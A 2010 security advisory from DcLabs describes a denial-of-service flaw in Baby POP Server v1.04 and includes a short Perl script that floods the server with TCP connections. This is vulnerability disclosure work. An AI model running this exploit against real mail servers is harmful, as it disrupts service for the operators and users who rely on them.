[DCA-0005]
[Software]
- Baby POP Server
[Vendor Product Description]
- In the past I have done several projects related to e-mail
(POP3/SMTP/IMAP4). One of the problems (at least in my company) is
that there are never good test servers available. So that's why I
decided to create this simple POP3 server, which doesn’t take many
resources and supports most of the standard POP3 commands.
[Bug Description]
- The POP Server can't handle multiple/simultaneous connections
leading to Denial-of-Service
[History]
- Advisory sent to vendor on 06/14/2010.
- No response from vendor
- Public advisory & exploit 08/02/2010.
[Impact]
- Low
[Affected Version]
- Baby POP Server v1.04
- Prior versions may also be vulnerable
[Code]
#!/usr/bin/perl
use IO::Socket;
if (@ARGV < 1) {
usage();
}
$ip = $ARGV[0];
$port = $ARGV[1];
$conn = $ARGV[2];
$num = 0;
print "[+] Sending request...\n";
while ( $num <= $conn ) {
system("echo -n .");
$s = IO::Socket::INET->new(Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";
close($s);
$num++;
}
print "\n[+] Done!\n";
sub usage() {
print "[-] Usage: <". $0 ."> <host> <port> <num-conn>\n";
print "[-] Example: ". $0 ." 127.0.0.1 110 1200\n";
exit;
}
[Credits]
Rodrigo Escobar (ipax)
Pentester/Researcher Security Team @ DcLabs
http://www.dclabs.com.br
[Greetz]
Crash and all Dclabs members.
--
Rodrigo Escobar (ipax)
Pentester/Researcher Security Team @ DcLabs
http://www.dclabs.com.br
